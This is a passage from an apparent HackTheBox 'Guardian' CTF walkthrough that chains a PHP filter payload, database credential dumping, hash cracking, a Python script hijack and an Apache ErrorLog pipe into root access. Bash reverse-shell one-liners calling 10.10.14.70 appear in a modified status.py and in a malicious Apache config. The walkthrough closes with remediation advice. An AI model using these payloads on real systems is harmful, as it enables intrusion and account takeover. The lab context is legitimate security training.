rt.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
now can you copy and paste ,send to see if we can see the id.
Remember to add ,system.php at the end incase you forgot for it to work in burp.

so set your kali listener here we will use penelope
after sending the output we get ashell as www-data.
└─$ penelope -p 4444                                                                                                            
[+] Listening for reverse shells on 0.0.0.0:4444 →  127.0.0.1 • 172.16.147.139 • 172.17.0.1 • 10.10.14.70
- 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from guardian~10.129.101.248-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12 
[+] Logging to /home/kali/.penelope/guardian~10.10.11.84 -Linux-x86_64/2025_09_01-09_15_08-425.log 📜
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
www-data@guardian:~/portal.guardian.htb/admin$
looking around we see that port 3306 is open so we can leverage it to mysql.
www-data@guardian:~/portal.guardian.htb/admin$ netstat -tunlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -
lets do the mysql thing the password we find it here:

so now lets acccess it;
www-data@guardian:~$ mysql -h 127.0.0.1 -u root -pGu4rd14n_un1_1s_th3_b3st guardiandb
mysql: [Warning] Using a password on the command line interface can be insecure.
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1276
Server version: 8.0.43-0ubuntu0.22.04.1 (Ubuntu)
Copyright (c) 2000, 2025, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| guardiandb         |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.00 sec)
mysql> use guardiandb;
Database changed
mysql> show tables;
+----------------------+
| Tables_in_guardiandb |
+----------------------+
| assignments          |
| courses              |
| enrollments          |
| grades               |
| messages             |
| notices              |
| programs             |
| submissions          |
| users                |
+----------------------+
9 rows in set (0.00 sec)
mysql> select * from users;
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
| user_id | username           | password_hash                                                    | full_name            | email                           | dob        | address                                                                       | user_role | status | created_at          | updated_at          |
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
|       1 | admin              | 694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6 | System Admin         | admin@guardian.htb              | 2003-04-09 | 2625 Castlegate Court, Garden Grove, California, United States, 92645         | admin     | active | 2025-09-01 13:00:02 | 2025-09-01 13:00:02 |
|       2 | jamil.enockson     | c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250 | Jamil Enocksson      | jamil.enockson@guardian.htb     | 1999-09-26 | 1061 Keckonen Drive, Detroit, Michigan, United States, 48295                  | admin     | active | 2025-09-01 13:00:02 | 2025-09-01 13:00:02 |
|       3 | mark.pargetter     | 8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e | Mark Pargetter       | mark.pargetter@guardian.htb     | 1996-04-06 | 7402 Santee Place, Buffalo, New York, United States, 14210                    | admin     | active | 2025-09-01 13:00:02 | 2025-09-01 13:00:02 |
etc |
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
63 rows in set (0.00 sec)
we re interested in this three so we cut them to crash the hashes
lets go

and boom a few minutes though my laptop did overheat but we got it.

we got admin and jamil,so lets ssh this thing once and for all

and boom we got the user flag.
we are in jamil so before exiting lets do some recon we can find the root here(just kidding)
jamil can run the commands with mark privileges. So our next escalated target is mark.
Now we gonna check out this one /opt/scripts/utilities/utilities.py

chacked file permissions and saw that only mark can run other functions, but system-status
can run by anyone. Let’s check out /opt/scripts/utilities/utils
We can see that file status.py was written by mark and admins group.
after a small research we saw we can  hijack status.py to get mark shell.
so lets backup the original file first status.py 

so now lets modify  status.py to our malicious execution script we need to get shell.
# status.py 
import platform
import psutil
import os
import subprocess
def system_status():
    print("System:", platform.system(), platform.release())
    print("CPU usage:", psutil.cpu_percent(), "%")
    print("Memory usage:", psutil.virtual_memory().percent, "%")
    subprocess.run(["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.70/4444 0>&1"])
now lets set our listener…..and run the utilities.py via mark
tip: to get the option we will use use the -h command

and the shell coola and juicy!

so mark can run safeapache2ctl thats a relief so lets go full force…..
Did a little research here so check it out  apache2ctl for more. Now we gonna create a mailicious config file and exploit to escalated to root via Apache ErrorLog directive with | to executed the commands.
Privilege Escalation
we create it like this:
# shell.conf
LoadModule mpm_prefork_module /usr/lib/apache2/modules/mod_mpm_prefork.so
ServerRoot "/etc/apache2"
ServerName localhost
PidFile /tmp/apache-rs.pid
Listen 127.0.0.1:8080
ErrorLog "|/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.70/5555 0>&1'"
and then setup our penelope listener and  run the commands via mark sudo privileges.

and boom we got a reverse shell as root


and there we got our cool root flag.
This is just one of the ways to exploit and get root there are many ways so use what suits you.

Summary
The Guardian HTB machine was successfully compromised through a multi-stage attack chain involving web enumeration, SQL injection, password cracking, privilege escalation via Python script hijacking, and finally root access through Apache configuration exploitation.
Key Takeaways
- Initial Access: SQL injection vulnerability in the student portal allowed database access and credential extraction
- User Compromise: Hashcat successfully cracked SHA-256 password hashes for admin and jamil accounts
- Lateral Movement: Exploited sudo privileges to hijack status.pyand escalate from jamil to mark
- Root Access: Leveraged Apache ErrorLog directive with pipe operator to execute commands as root
Tools Used
- Nmap - Network reconnaissance
- Burp Suite - Web application testing and SQL injection
- Hashcat - Password hash cracking
- Penelope - Reverse shell listener
- MySQL Client - Database enumeration
Timeline
| Stage | Action | Result | 
|---|---|---|
| Enumeration | Port scanning and subdomain discovery | Found portal.guardian.htb | 
| Exploitation | SQL injection via UNION-based attack | Database access achieved | 
| Credential Access | Extracted password hashes from users table | Cracked admin and jamil credentials | 
| Initial Foothold | SSH access as jamil | User flag obtained | 
| Privilege Escalation #1 | Python script hijacking (status.py) | Shell as mark | 
| Privilege Escalation #2 | Apache ErrorLog exploitation | Root shell obtained | 
Lessons Learned
- Input Validation: The application failed to properly sanitize user input, leading to SQL injection
- Password Security: Weak passwords combined with SHA-256 (without salting) made hash cracking feasible
- File Permissions: Writable Python modules in sensitive locations enabled privilege escalation
- Sudo Misconfigurations: Overly permissive sudo rules allowed lateral movement and root access
- Apache Configuration: The ErrorLog pipe feature can be weaponized when combined with sudo privileges
Remediation Recommendations
- Implement prepared statements to prevent SQL injection attacks
- Use bcrypt or Argon2 with proper salting for password hashing instead of SHA-256
- Restrict file permissions on critical scripts and configurations
- Apply principle of least privilege to sudo configurations
- Audit Apache configurations and restrict use of pipe operators in directives
- Implement proper input validation and output encoding throughout the application
Conclusion
Guardian was an engaging machine that demonstrated real-world vulnerability chains. The exploitation path required solid understanding of web application security, Linux privilege escalation techniques, and creative thinking to leverage Apache configurations for root access. Special thanks to the HTB community and the machine creator for this learning opportunity.
Machine Difficulty: Hard | Platform: HackTheBox | Completion Date: October 2025
